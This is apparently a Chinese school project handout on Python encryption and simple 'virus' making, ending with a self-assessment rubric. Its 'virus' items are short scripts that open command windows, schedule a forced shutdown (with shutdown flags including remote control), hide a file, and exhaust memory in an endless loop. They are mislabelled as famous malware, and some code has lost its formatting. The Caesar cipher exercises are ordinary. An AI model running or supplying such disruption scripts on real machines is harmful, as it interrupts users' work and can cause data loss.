【项目任务】
北京冬奥会正在如火如荼地展开,现在组委会为了给运动员和其他工作人员培训加密、解密与病毒制作原理。现在请你用PYTHON语言进行加密和解密,以及简单的病毒制作。
1、编写PYTHON程序,调用windows下计算器程序,路径:“C:\Windows\System32\calc.exe”
import os main = 'C:\\Windows\\System32\\calc.exe' f = os.popen(main) f.close()
2、无限弹窗病毒
import os for i in range(10): main = 'start' f = os.popen(main) f.close()
3、冲击波病毒
import os main = 'shutdown -s -t 60' f = os.popen(main) f.close()
# shutdown -a 取消关机
# shutdown -s 关机
# shutdown -f 强行关闭应用程序
# shutdown -m \\计算机名 控制远程计算机
# shutdown -i 显示“远程关机”图形用户界面,但必须是Shutdown的第一个参数
# shutdown -l 注销当前用户
# shutdown -r 关机并重启
# shutdown -s -t 时间 设置关机倒计时
# shutdown -h 休眠
4、U盘病毒
import os main = 'attrib C:\\Users\\yyh\\Desktop\\a.txt +h' f = os.popen(main) f.close()
5、木马病毒
from ctypes import * while True: mem = create_string_buffer(1024 * 1024 * 1024) # men = None
6、凯撒密码加密
凯撒密码是一种简单的置换密码,通过换位来实现加密。
例如,密文字母表是由正常顺序的明文字母表右移3个字母得到的,如图所示。

加密过程可表示为Ci=Ek1(Pi)=(Pi+3)mod26,这里的密钥为3。
现在给你加密字符串和偏移位数,请你帮忙告诉我加密后的字符串。
样例输入:
Hello, world!
3
样例输出:Khoor, zruog!
提示:仅字母加密,其他字符不用处理。
def change(code, key):
if 'a' <= code <= 'z':
m = ord(code) - ord('a') + key
return chr((m + 26) % 26 + ord('a'))
if 'A' <= code <= 'Z':
m = ord(code) - ord('A') + key
return chr((m + 26) % 26 + ord('A'))
return code
s = input()
n = int(input())
a = []
for x in s:
a.append(change(x, n))
for i in range(len(a)):
if i != len(a) - 1:
print(a[i], end='')
else:
print(a[i])7、凯撒密码解密
凯撒密码是一种简单的置换密码,通过换位来实现加密。
例如,密文字母表是由正常顺序的明文字母表右移3个字母得到的,如图所示。

解密时需要将密文中的每个字母左移3个字母即可得到明文,其解密过程可表示为Pi=DK2(Ci)=(Ci-3)mod26。
现在给你解密字符串和偏移位数,请你帮忙告诉我他的密码。
样例输入:
Khoor, zruog!
3
样例输出:Hello, world!
提示:仅字母加密,其他字符不用处理。
def change(code, key):
if 'a' <= code <= 'z':
m = ord(code) - ord('a') - key
return chr((m + 26) % 26 + ord('a'))
if 'A' <= code <= 'Z':
m = ord(code) - ord('A') - key
return chr((m + 26) % 26 + ord('A'))
return code
s = input()
n = int(input())
a = []
for x in s:
a.append(change(x, n))
for i in range(len(a)):
if i != len(a) - 1:
print(a[i], end='')
else:
print(a[i])【评价标准】
根据项目所涉及内容的严谨性及实际展示效果,对自己完成项目的情况进行客观的评价,并思考后续完善的方向。将评价结果和完善方案填写在下面的表格中。
评价条目 | 说明 | 评分 | 评分主要依据 | 后续完善方向 |
选择技术 | 所选择的技术具有先进性,对社会和技术的发展有重要影响 | |||
选择依据 | 小组共同形成的技术选择,依据清晰且具有说服力 | |||
小组合作 | 小组分工合理、协作密切、合作有成效 | |||
演示文稿 | 演示文稿制作精美、内容清晰、逻辑性强,包含所有要求的内容 | |||
展示效果 | 在规定时间内有条理地、清晰地介绍研究成果 |

